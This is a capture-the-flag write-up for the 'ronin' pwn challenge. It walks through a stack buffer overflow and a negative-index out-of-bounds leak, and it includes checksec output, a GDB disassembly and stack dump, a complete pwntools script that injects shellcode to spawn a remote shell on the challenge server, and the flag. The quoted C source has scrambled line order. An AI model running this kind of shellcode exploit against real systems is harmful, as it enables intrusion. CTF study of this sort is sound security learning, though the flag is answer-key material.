Details
- Category: pwn
- Points: 271
- Solves: 54
Description
A weary samurai makes his way home.
nc pwn.chall.pwnoh.io 13372
The source code has been provided:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
* txt[] = {
char"After defeating the great Haku in battle, our hero begins the journey home.\nThe forest is covered in thick brush. It is difficult to see where you are going...\nBut a samurai always knows the way home, and with a sharp sword that can cut through the foliage, there is nothing to worry about.\n...\n...suddenly, the sword is gone. It has been swept straight out of your hand!\nYou look up to see a monkey wielding your sword! What will you do? ",
"Yes, of course. You are a great warrior! This monkey doesn't stand a chance.\nWith your inner strength, you leap to the trees, chasing the fleeing monkey for what feels like hours.\n",
"The monkey, with great speed, quickly disappears into the trees. You have lost your sword and any hopes of getting home...\n",
"Eventually, you lose sight of it. It couldn't have gotten far. Which way will you look? ",
"Finally, the monkey stops and turns to you.\n\"If you wish for your weapon back, you must make me laugh.\" Holy shit. This monkey can talk. \"Tell me a joke.\" ",
"\"BAAAAHAHAHAHAHA WOW THAT'S A GOOD ONE. YOU'RE SO FUNNY, SAMURAI.\n...NOT! THAT JOKE SUCKED!\"\nThe monkey proceeds to launch your sword over the trees. The throw was so strong that it disappeard over the horizon.\nWelp. It was a good run.\n",
;
}
* txt) {
void scroll(charlen = strlen(txt);
size_t for(size_t i = 0; i < len; i++) {
= txt[i];
char c ;
putchar(c)//usleep((c == '\n' ? 1000 : 50) * 1000);
}
}
void encounter() {while(getchar() != '\n') {}
4]);
scroll(txt[32];
char buf2[49, stdin);
fgets(buf2, 5]);
scroll(txt[
}
* area, int dir) {
void search(char;
scroll(area)if(dir == 2) {
;
encounter()0);
exit(
}
}
void chase() {* locs[] = {
char"The treeline ends, and you see beautiful mountains in the distance. No monkey here.\n",
"Tall, thick trees surround you. You can't see a thing. Best to go back.\n",
"You found the monkey! You continue your pursuit.\n",
"You find a clearing with a cute lake, but nothing else. Turning around.\n",
;
}3]);
scroll(txt[int dir;
while(1) {
"%d", &dir);
scanf(if(dir > 3) {
"Nice try, punk\n");
printf(else {
} dir], dir);
search(locs[
}
}
}
int main() {
0, 2, 0);
setvbuf(stdout,
0]);
scroll(txt[80];
char buf1[80, stdin);
fgets(buf1, if(strncmp("Chase after it.", buf1, 15) == 0) {
1]);
scroll(txt[;
chase()else {
} 2]);
scroll(txt[
} }
It’s a 64-bit binary (not stripped).
file ronin
ronin: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62bd099639cad5527eade51bf2d4b75e6afaf6b1, for GNU/Linux 3.2.0, not stripped
Understanding the problem
While reading the source code we identified the following problems :
- a buffer overflow in the
encounter
function- a static 32 bytes buffer is declared and 49 bytes can be read and inserted from stdin (with the fgets function)
- An out-of-bounds (OOB) read in the
chase
function- user has to give an int to specify which line of
locs
(chars array) will be read - there is no bound check to prevent inserting a negative value
- user has to give an int to specify which line of
The program is relatively simple. The scroll
function just writes the story char by char. However, calling functions to trigger buffer overflow requires giving answers in the following order:
- “Chase after it.” in
main
- 2 in
chase
- whatever in
encounter
to overwrite its return address stored in RIP
Solving the problem
The first step is to check the binary protections in place.
$ checksec ronin
[*] '/home/enoent/Downloads/ronin'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
There is no NX bit (the stack is executable) or canary. But at that time we did not know if ASLR was activated. However, even if it was, it would not be a problem as we can leak stack addresses by abusing out-of-bounds (OOB) read vulnerability.
The first idea which came up is to use a shellcode. Unfortunately, target buffer buf2
is too small. But wait! Why use a 80 bytes buffer buf1
to only store 15 characters (“Chase after it.”) in the main
? Okay we can place our shellcode in it (juste after “Chase after it.”) and find its starting address using the OOB read. Let’s start!
The process is the following :
- debug the binary with GDB and place relevant breakpoints
- add some random chars after “Chase after it.” in
main
and get the offset between our leaked address and those characters (which will be our shellcode later on)
disass chase
Dump of assembler code for function chase:
0x0000555555555367 <+0>: endbr64
0x000055555555536b <+4>: push rbp
0x000055555555536c <+5>: mov rbp,rsp
0x000055555555536f <+8>: sub rsp,0x30
0x0000555555555373 <+12>: lea rax,[rip+0x116e] # 0x5555555564e8
0x000055555555537a <+19>: mov QWORD PTR [rbp-0x20],rax
0x000055555555537e <+23>: lea rax,[rip+0x11bb] # 0x555555556540
0x0000555555555385 <+30>: mov QWORD PTR [rbp-0x18],rax
0x0000555555555389 <+34>: lea rax,[rip+0x1200] # 0x555555556590
0x0000555555555390 <+41>: mov QWORD PTR [rbp-0x10],rax
0x0000555555555394 <+45>: lea rax,[rip+0x122d] # 0x5555555565c8
0x000055555555539b <+52>: mov QWORD PTR [rbp-0x8],rax
0x000055555555539f <+56>: mov rax,QWORD PTR [rip+0x2c92] # 0x555555558038 <txt+24>
0x00005555555553a6 <+63>: mov rdi,rax
0x00005555555553a9 <+66>: call 0x555555555269 <scroll>
0x00005555555553ae <+71>: lea rax,[rbp-0x24]
0x00005555555553b2 <+75>: mov rsi,rax
0x00005555555553b5 <+78>: lea rdi,[rip+0x1255] # 0x555555556611
0x00005555555553bc <+85>: mov eax,0x0
0x00005555555553c1 <+90>: call 0x555555555150 <__isoc99_scanf@plt>
0x00005555555553c6 <+95>: mov eax,DWORD PTR [rbp-0x24]
0x00005555555553c9 <+98>: cmp eax,0x3
0x00005555555553cc <+101>: jle 0x5555555553dc <chase+117>
0x00005555555553ce <+103>: lea rdi,[rip+0x123f] # 0x555555556614
0x00005555555553d5 <+110>: call 0x555555555100 <puts@plt>
0x00005555555553da <+115>: jmp 0x5555555553ae <chase+71>
0x00005555555553dc <+117>: mov edx,DWORD PTR [rbp-0x24]
0x00005555555553df <+120>: mov eax,DWORD PTR [rbp-0x24]
0x00005555555553e2 <+123>: cdqe
0x00005555555553e4 <+125>: mov rax,QWORD PTR [rbp+rax*8-0x20]
0x00005555555553e9 <+130>: mov esi,edx
0x00005555555553eb <+132>: mov rdi,rax
0x00005555555553ee <+135>: call 0x55555555532b <search>
0x00005555555553f3 <+140>: jmp 0x5555555553ae <chase+71>
The chase
function assembly is above. We placed a breakpoint on +125 where the first parameter of the search
function is stored at rbp+rax*8-0x20
.
0x7fffffffdc60: 0x00007fffffffde30
0x7fffffffdc68: 0x7f005555555552c8
0x7fffffffdc70: 0x0000000000000006
0x7fffffffdc78: 0x0000000000000006
0x7fffffffdc80: 0x00007fffffffdca0
0x7fffffffdc88: 0x000055555555534a
0x7fffffffdc90: 0xfffffffc00000058
0x7fffffffdc98: 0x00007fffffffdce0
0x7fffffffdca0: 0x00007fffffffdce0 -> give -4 in chase to leak stack address
0x7fffffffdca8: 0x00005555555553c6
0x7fffffffdcb0: 0x0000000000000000
0x7fffffffdcb8: 0xfffffffc555561c0
0x7fffffffdcc0: 0x00005555555564e8 -> address if 0 is given in chase function
0x7fffffffdcc8: 0x0000555555556540
0x7fffffffdcd0: 0x0000555555556590
0x7fffffffdcd8: 0x00005555555565c8
0x7fffffffdce0: 0x00007fffffffdd40 -> our leaked address
0x7fffffffdce8: 0x000055555555547b
0x7fffffffdcf0: 0x6661206573616843
0x7fffffffdcf8: 0x202e746920726574
0x7fffffffdd00: 0x6161616161616161 -> the " aaaa" we inserted after "Chase after it." in buf1
The offset is 0x41 (because we insert a space). Thus, our shellcode address will be : leak_value - 0x41
Implementing the solution
The solution has been implemented using the famous pwntools Python library.
from pwn import *
= remote('pwn.chall.pwnoh.io', 13372)
r = asm(shellcraft.amd64.sh(), arch='amd64')
shellcode
print(r.recvuntil(b'do? '))
b"Chase after it." + shellcode)
r.sendline(print(r.recvuntil(b'look? '))
# leak stack address
b'-4')
r.sendline(# retry to read locs and continue programm execution
b"2")
r.sendline(= r.recvuntil(b'You', drop=True)
leak = u64(leak[-6:].ljust(8, b'\x00'))
leak print(r.recvuntil(b'"Tell me a joke."'))
# Send 40 bytes to overwrite RBP + shellcode address to overwrite RIP
b"B"*40 + p64(leak - 0x41))
r.sendline( r.interactive()
Enjoy your shell and get the flag :)
Flag : buckeye{n3v3r_7ru57_4_741k1n9_m0nk3y}